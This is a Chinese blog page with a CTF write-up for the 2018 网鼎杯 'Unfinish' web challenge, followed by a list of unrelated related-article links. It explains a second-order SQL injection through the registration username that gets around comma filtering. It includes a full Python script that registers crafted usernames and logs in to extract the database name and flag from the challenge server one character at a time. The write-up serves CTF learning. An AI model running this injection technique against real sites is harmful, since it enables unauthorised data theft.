当前位置: 首页 > news >正文

网鼎杯-2018-Web-Unfinish

先尝试万能注入:

如果万能注入缺少符号,如果加@符又进不去,那我们尝试扫描文件,然后发现有一个register.php的文件,应该是注册页面,我们去打开

 

知道存储的文件,并利用状态码进行过滤

我们注册的用户名就是aaa,可以看出它回显出来了,我们尝试从这个地方注入

 

测试发现过滤了逗号、information等,那么使用盲注应该不太行了

所以我们考虑用户名这里可能存在 二次注入 。

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

因为题目中过滤掉了逗号,因此用from for来代替

ASCII码如下:

最后我们验证出数据库名为web

以下是我编写的python脚本,可以跑出数据库名称以及最终的flag

import requests

import time

from bs4 import BeautifulSoup       #html解析器

def getDatabase():

    database = ''

    for i in range(10):

        data_database = {

            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_database)

        login_data={

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        database+=chr(int(username))

    return database

def getFlag():

    flag = ''

    for i in range(40):

        data_flag = {

            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_flag)

        login_data={

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        flag+=chr(int(username))

    return flag

print(getDatabase())

print(getFlag())

最终得到flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • python从入门到精通:函数
  • 安企CMS多站点迁移教程
  • 秋招突击——面经整理——有塔游戏提前批
  • AtCoder Beginner Contest 366 A~F
  • Mysql 约束(下)
  • 掌握这项技能,用Python爬虫定制你的私人电影推荐库
  • 【计算机网络】计算机网络第二章——信道复用技术
  • Ubuntu 22.04 安装 VirtualBox7
  • 怎么给图片加红色边框?图片加边框的超好用方法
  • 设计模式六大原则之:依赖倒置原则
  • [二次元]个人主页搭建
  • 虚拟化—XenServer安装教程详细(附客户端连接)
  • 注意力机制篇 | YOLOv8改进之引入NAMAttention注意力机制 | 基于标准化的注意力模块
  • 进阶!haproxy高级功能与配置
  • 机器学习(1)--数据可视化
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列(实验阶段398-2018.11.14)...
  • 08.Android之View事件问题
  • CAP 一致性协议及应用解析
  • input的行数自动增减
  • Koa2 之文件上传下载
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • mac修复ab及siege安装
  • PHP 的 SAPI 是个什么东西
  • react-native 安卓真机环境搭建
  • Selenium实战教程系列(二)---元素定位
  • 罗辑思维在全链路压测方面的实践和工作笔记
  • 前端临床手札——文件上传
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 巧用 TypeScript (一)
  • 什么是Javascript函数节流?
  • 使用 Docker 部署 Spring Boot项目
  • 正则表达式
  • ​埃文科技受邀出席2024 “数据要素×”生态大会​
  • ​软考-高级-信息系统项目管理师教程 第四版【第19章-配置与变更管理-思维导图】​
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (七)glDrawArry绘制
  • (十三)Flask之特殊装饰器详解
  • (转)IIS6 ASP 0251超过响应缓冲区限制错误的解决方法
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .NET Remoting Basic(10)-创建不同宿主的客户端与服务器端
  • .net 无限分类
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .Net开发笔记(二十)创建一个需要授权的第三方组件
  • .NET面试题(二)
  • @Autowired 与@Resource的区别
  • @JsonFormat 和 @DateTimeFormat 的区别
  • @PreAuthorize注解
  • [000-01-030].Zookeeper学习大纲
  • [2019.3.5]BZOJ1934 [Shoi2007]Vote 善意的投票
  • [AI Google] Ask Photos: 使用Gemini搜索照片的新方法
  • [AutoSar]BSW_OS 01 priority ceiling protocol(PCP)